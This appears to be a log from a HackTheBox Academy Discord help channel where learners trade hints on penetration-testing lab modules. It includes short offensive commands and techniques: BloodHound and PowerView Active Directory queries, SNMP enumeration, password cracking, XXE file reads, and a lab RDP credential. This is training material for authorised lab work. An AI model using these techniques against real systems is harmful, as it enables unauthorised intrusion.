That's good to know. Is there a way to speed up the cracking ? For sam, I actually followed the advice to remove the top 17k lines :/

[fathom pendant]

I don't think her password is in there but I could be mistaken

[autumn pilot]

the credentials for MySQL don't need to be mutated

[fathom pendant]

The top 17k

[sweet roost]

i am a Script kiddies hacker

[fathom pendant]

In fact mySQL can be found in some interesting history

[fathom pendant]

Congrats: we really don't care lol

[sweet roost]

https://tenor.com/view/my-friend-all-toxic-gif-24328072

[fathom pendant]

Classic embed fail

Anyway potato good luck

[sweet roost]

what cpts

[trail badge]

@fathom pendant & @autumn pilot thank you guys, I'll go try that, I sense an incoming facepalm moment ((:

[fathom pendant]

https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist #cpts

[sweet roost]

i am geting an error

@sweet roost why i have your name

?

[fathom pendant]

Read #rules

Your regular username is not in line with rules

[ashen fog]

clear

[sweet roost]

i am getting problem to loging ,y HTB

remove ,y

[ashen fog]

I always get BAD JSON FORMAT when i want to open my Output from SharpHound with BloodHound

I tried bloodhound-convert

But it didnt work

[solid quarry]

Has anyone did the Windows Attacks & Defense? Do the module show and make you do the attacks or only how to defend against them?

[fathom pendant]

Probably attack side not sure how they'd lab the defense unless they have 2 machines for sections (attack/defense)

[acoustic owl]

The module shows both. You perform an attack and then you examine this attack. The module shows how to detect an attack and how to defend against it.

[fathom pendant]

@sweet roost don't randomly dm me

[fluid pecan]

can anyone explain roles system??

[modern epoch]

Thank you a lot! That could be added to the question 🙂

[fluid pecan]

can anyone explain roles system as well as suggest first path for me??

[unique valve]

I can suggest a first path. Start with Information Security Foundations.

[fluid pecan]

Oh thank you so much , can u explain roles too?

[solid quarry]

Nice

[fathom pendant]

The roles are tied to http://app.hackthebox.com #welcome explains it

[fluid pecan]

Oh i see!! thanks for help sorry for inconvenience

[rustic sage]

god the DNS section in footprinting really jumps into things

[proud pine]

Did you maybe mean the 'job roles', in the academy?

[fluid pecan]

No no i meant discord account roles

[proud pine]

Ah, okay

[prisma wedge]

are there anyone completed busqueda right now ??????????????????

[ashen fog]

ACTIVE DIRECTORY ENUMERATION & ATTACKS
Module Privileged Access
What other user in the domain has CanPSRemote rights to a host?
MATCH
Ive tried to look in BloodHound for the User with Command:
MATCH p1=shortestPath((u1:User)-[r1:MemberOf1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote1..]->(c:Computer) RETURN p2
It just shows one User forend its still wrong

[acoustic owl]

Why?

[fathom pendant]

Verify your HTB account by following directions in #welcome there is a #boxes channel

[idle egret]

Nmap labs are pain.

[prisma wedge]

thank you very much

[prisma ember]

Hi guys, im doing the getting started moudle. When trying to run Nmap or GoBuster on the Web Emuration section im not getting any respawns. Promet i get from GoBuster: Error: error on running gobuster: unable to connect to http://161.35.36.167/: Get "http://161.35.36.167/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

And promt from nmap:Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 20:35 CEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.32 seconds

When i use the ip address in a web browser im getting the home page of the assiment

What is the problem?

[rustic sage]

use -Pn as instructed

[prisma ember]

Is it supposed to take so long time?

First assignment shouldn't be this hard!

[naive field]

just wait bro

for the fringerprinting

xd

i need help with metasploit module in shell and paylods.

i cant scan the machine or nothing

so idk what cve i need to use in metasploit

[prisma ember]

Same here i can't scan the machines with nmap or use GoBuster.

[naive field]

yeah sam

myb its htb

[sly parcel]

I didnt know that terminating my pwnbox would prevent me from continuing to work :/ I was having issues connecting to the target so I terminated it and I really wanted to do some learning today

[naive field]

i think its the htb

i have problems connecting too

idk why

my pwnbox crashes a lot

[fathom pendant]

For gobuster scan you also need to use the specified port they give you, nmap is going to be useless against any/most machines that don't start with 10.x.x.x

[deep owl]

hello all, password attacks module, credential hunting in linux section......

i tried the hint username and password and that didn't work

i tried using the username.list and password.list and it didn't work

i appreciate any tips

[sleek urchin]

did you manage to find kira's password ?

[deep owl]

i tried brute forcing kira's password with the password.list file

and that did not work

am thinking of using custom.rule on the password list but that will take really long time

[sleek urchin]

in kira's section, the hint gives you a direct indication about the password, but obviously it's doesn't work directly, maybe you can reform it and customize it in a way that will work

[solid quarry]

HI, I am stuck in the last question of "Bloodhound - Skills Assessment", Q: Find the percentage of users with a path to GLOBAL ADMINISTRATOR. Submit the number as your answer (to two decimal points, i.e., 11.78). Been stuck for like 2 hours, I don't know If I imported something wrong

[deep owl]

tried cracking the mutations of the password mentioned in the hint but no luck also

[daring steeple]

Hi, im trying to open the file /upload.php in the last question of the chapter "FILE UPLOAD ATTACKS" and i dont understant why i doesn't see the file, i use the good technique "XXE + php filter". The file have a good response 200 but it doesn't answer me anything.
DM me ty.

[keen compass]

Hi, I have troubles making work the nmap smtp-enum NSE script for module FOOTPRINTING - SMTP may I talk with someone who have finished this part in private about this ?

[grand badge]

Hey all i am a cyber security student in canada that wants to grow & learn here at hackthebox .....glad to be here 🙂

[sleek urchin]

dm me

[quasi wave]

hi can someone tell me what I'm doing wrong here? I am wondering if this is just because I did this module on my local machine

[sleek urchin]

i have finished Attacking Common Services except for Attacking DNS

can i dm someone about it

[quasi wave]

the instructions of section I'm doing:

 Create a "For" loop that encodes the variable "var" 28 times in "base64". The number of characters in the 28th hash is the value that must be assigned to the "salt" variable.```

Here is my code:

```bash
#!/bin/bash

# Decrypt function
function decrypt {
    MzSaas7k=$(echo $hash | sed 's/988sn1/83unasa/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/4d298d/9999/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/3i8dqos82/873h4d/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/4n9Ls/20X/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/912oijs01/i7gg/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/k32jx0aa/n391s/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/nI72n/YzF1/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/82ns71n/2d49/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/JGcms1a/zIm12/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/MS9/4SIs/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/Ymxj00Ims/Uso18/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/sSi8Lm/Mit/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/9su2n/43n92ka/g')
    Mzns7293sk=$(echo $MzSaas7k | sed 's/ggf3iunds/dn3i8/g')
    MzSaas7k=$(echo $Mzns7293sk | sed 's/uBz/TT0K/g')

    flag=$(echo $MzSaas7k | base64 -d | openssl enc -aes-128-cbc -a -d -salt -pass pass:$salt)
}

# Variables
var="9M"
salt=""
hash="VTJGc2RHVmtYMTl2ZnYyNTdUeERVRnBtQWVGNmFWWVUySG1wTXNmRi9rQT0K"

# Base64 Encoding Example:
#        $ echo "Some Text" | base64

for i in {1..28}
do
    $var = $(echo $var | base64)
    $salt = ${#var}
done

# <- For-Loop here

# Check if $salt is empty
if [[ ! -z "$salt" ]]
then
    decrypt
    echo $flag
else
    exit 1
fi

Can someone help me out here?

thanks btw

I typed this up on my local machine and its saying I am calling a function that does not exist.

and I am getting a syntax error:

greg@greg-IdeaPad-5-15ARE05:~/Documents/htb bash$ sh for-loops
for-loops: 4: function: not found
error reading input file
for-loops: 22: Syntax error: "}" unexpected
greg@greg-IdeaPad-5-15ARE05:~/Documents/htb bas

could someone please DM me? thanks

[echo forge]

Did you figure this out? I'm having the same problem for doing this question 😦

[lunar hornet]

Hi guys, can someone please help me with the footprinting lab- Hard, I'm in the home stretch but I can't login to mysql with tom's credentials.

[sleek urchin]

i did finish this module, but i can't remember the whole details of

it

[sleek urchin]

you can dm

[lunar hornet]

sure, thanks

[sleek urchin]

SOLVED!!

[fathom pendant]

@spiral prairie please do not DM me, I had not requested or given permission.

[solid quarry]

Has anyone solved the bloodhound room?

[quasi wave]

hi anyone I can DM to get help with a module?

I'm thinking of getting the help later tonight maybe?

thanks

I need help with the Intro to BASH module's for-loops section exercise

[thorn urchin]

https://dontasktoask.com

just ask your question here

[thorn urchin]

its got the answer right there

it found a valid string

[thin harbor]

Hi guys! Can someone help me with the Login Brute Forcing module?

?)

[restive steppe]

I was stuck and felt the same way. However, when I looked at the onesixtyone screenshots in the snmp module again, it clearly showed that we need to use the contents of the brackets

[naive field]

can someone help me with shells and payloads module

please

been stuck on this the whole day

🙏

[quasi wave]

hi can someone help me with the Intro to BASH module's for-loops section? I need someone to help me with my code

please let me know

[fathom pendant]

It is a community string... Community strings can be anything... Also read the intro to this hard lab

It tells you a LOT of what you need to know

Comm strings aren't always "private","public"

[fathom pendant]

@rustic sage syntax from my notes are braa <comm string>@IP:.1.3.6.*

You can also just snmpwalk -v2c -c <comm string> <IP>

Also your screenshot contains a spoiler

What gives you any reason why it wouldn't be the case?

[tidal mango]

In the AD-Bloodhound Module, Nodes section, it is asking me what non-default GPO affects all users? I feel like I am missing something here nothing I input works, I have looked at the User Objects then [e-mail], Extra properties and everything else I can think of. Can someone give me a pointer on this please?

[fathom pendant]

If you want during a weekend or a day I'm not at work I can hop on VC to walk you through how I boil the questions down to important details

Rn am sleepy

Glhf

[daring steeple]

Nobody ? Ty

[turbid lily]

If you ask a question you must specify module and section. You specify module, but no section D:

[daring steeple]

Hmm sorry it’s my first demand, the section is « Skills Assessment » and module is « file uploads attacks »Ty for you response

[autumn pilot]

Before jumping straight into RCE, try to simplify it by seeing if it will execute the code that you have specified

Just an echo of a string of text would be enough

[turbid lily]

Did you check using ||.svg|| extension? Remember that you might be able to read .php files that might be in base 64

Remember to always try to get the source code for .php extension, for example, for upload.php and all the files that upload.php could require. For example, if upload.php needs example.php try to also get the source code and so on... If you do that you will get an interesting file that tells you how the backend works and it's way easier

[iron plaza]

The question and hint in the Broken Authentication - Default Credentials need to be reworded ... it guides you to using the python script with the SCADA Pass list but the answer is not even on the said list

[daring steeple]

Alright thanks for the replies!

[autumn pilot]

if you mean perks - yes, you will be able to access other channels

verify and you will see them

[idle egret]

I solved the nmap easy lab using || --script discovery|| . Is this the way or their is any other way aswell?

[idle egret]

Most of the time was spent solving the easy lab. Medium and hard took only 10-20 minites.

Adhd held me back from completing this module, but I did it. f×k you adhd.

[fiery berry]

Hi, there are always other ways to solve a "problem", most of the time I've seen people reaching the goal by taking another "path". I did it in another way example, and if you search in the forum you may notice that others did something different too

[pale stirrup]

...we can run a full TCP port scan using the command nmap -p- --open -oA nibbles_full_tcp_scan 10.129.42.190.
...We can leave this running in the background and move on with our enumeration.

How do I leave a full TCP port scan running in the background and know when it's finished? Do you just open a new tab and let it run?

[rustic sage]

I have a problem with Broken Authentication - Predictable Reset Token - Question 1, I cannot recreate the md5 hash for the user for some reason. I convert the timestamp into milliseconds and it to "htbuser" string. I should get the given hash, but for some reason it does not work.

[tribal plume]

I think you need a script to go + and - the time in miliseconds. So you need to calculate hashes for + / - like 1000 milliseconds and then automate the checking of the tokens for each cacluated token.

[rustic sage]

Thanks, I stumbled on a forum post that said that I need to convert the GMT time to my UTC+3 time zone and got it working

[acoustic owl]

Please delete the flag

Yes, it is correct

[turbid tartan]

but i doesnt work if i click submit edit: nvm it was buggy i got it

[autumn pilot]

check the hint

[hardy knoll]

hello , at the Starting Point, I should download VPN package, at the machines, Should I download different VPN package?

[hardy knoll]

Machine tags are disabled. You can enable them in your profile settings.

what does this mean?

[buoyant solar]

hi

[rustic sage]

maybe i'm just being privileged, but i feel as if it really glossed over actually explaining DNS

hi can someone give me a hint on Skills assessment part 1 - Windows Priv esc task Escalate privileges and submit the contents of the flag.txt file on the Administrator Desktop, on how to escalate the privilages. I used couple of techniques but did not figure gain Nt Authority

like it went in with no context expecting to understand nameservers zones etc

[ashen fog]

Privileged Access

I only get the forend member 
Get-NetLocalGroupMember -GroupName "Remote Management Users"

Get-DomainGroupMember -Identity "Remote Management Users"
Here i get the member bdavis 

Why doesnt the Net-LocalGroupMember show me this member

[acoustic owl]

Yes, the module assumes some knowledge of DNS. It is not a DNS basic knowledge module.

[acoustic owl]

If you have any problems, contact me by DM. Then I help you further

[pine dagger]

Have you made any progress on your modules PayloadBunny?

[acoustic owl]

Yes, I'm making progress, but a next module seems to be in the wings already

Kerberos Attacks will probably be the next module that will be released

HackTheBox writes modules faster than I can learn 😂

[pine dagger]

hahaha

I told my wife that was why I was so frustrated. Trying to finish off all the modules, and they keep making more of them!

[rustic sage]

why are the machines with windows fundamentals that unstable?

😫

[rustic gyro]

I Wan ad path

[acoustic owl]

HackTheBox simply ensures that you never get bored

[pine dagger]

Yeah, but I've got other stuff I want to study too, and I've been holding off till after I finish HTB. heh. i.e. Learning German, and upskilling my mathematics knowledge.

[silk tree]

hi guys hope ur doing well... can someone plzz give a hint on how to solve the case11# in the "sqlmap essentals" module (it's part of the "Bypassing Web Application Protections" section)

[tribal plume]

Anyone know why the command rdesktop -u htb-student -p Academy_student_AD! <TGT IP> would result in a login error telling me the creds were invalid while xfreerdp /v:<TGT IP> /u:htb-student -p Academy_student_AD! works? The two programs are just rdp clients. Shouldn't they both login?

[pine dagger]

Because of the exclamation mark.

Linux is interpreting that as a special character, not part of the password.

It works on xfreerdp because its the last character in the command, while your rdesktop command has it in the middle.

Try putting the password inside quotes.

[ashen fog]

It should go like this xfreerdp /v:<TGT IP> /u:htb-student /p:Academy_student_AD!

[sly parcel]

I am having such a hard time having a stable RDP to my target. It drops after less than a minute

[tribal plume]

Oh right, sorry. I actually did use that command for xfreerdp. So it does login correctly using xfreerdp, but when I try with rdesktop it tells me the creds are wrong. I was just wondering if there's some discernible reason for that. (Assuming that the command syntax and creds are right.) rdesktop will login to the windows machine, it will then give that screen where it says the credentials were incorrect and you can try again.

[ashen fog]

I never use rdektop buy maybe put the password in quotes?

[west canopy]

Sorry to do this to you bro...

[west canopy]

stay tuned 😉

[pine dagger]

And its a 2 day module?!?!

😭

[tribal plume]

Yeah, I tried single and double quotes for the password, doesn't seem to fix it. I know it's connecting because it brings me to the windows login screen to try again. I'm not going to worry about it too much more since xfreerdp seems to work.

[rustic gyro]

[dim hound]

Oeeh that looks very interesting! I hope they will do the offensive as the defensive side 😁

I am planning to buy PowerView + BloodHound modules for CPTS

[acoustic owl]

If I may recommend one more module to you, check out the Crack Map Exec module.

[acoustic owl]

You want to learn german? That's cool. 😎

[pine dagger]

Ja. Ich kann nur ein bisschen Deutsch sprechen. 😦

[acoustic owl]

Every additional language you learn is cool.

[pine dagger]

Python! 😄

[acoustic owl]

Dein deutsch könnte besser sein als mein englisch 😉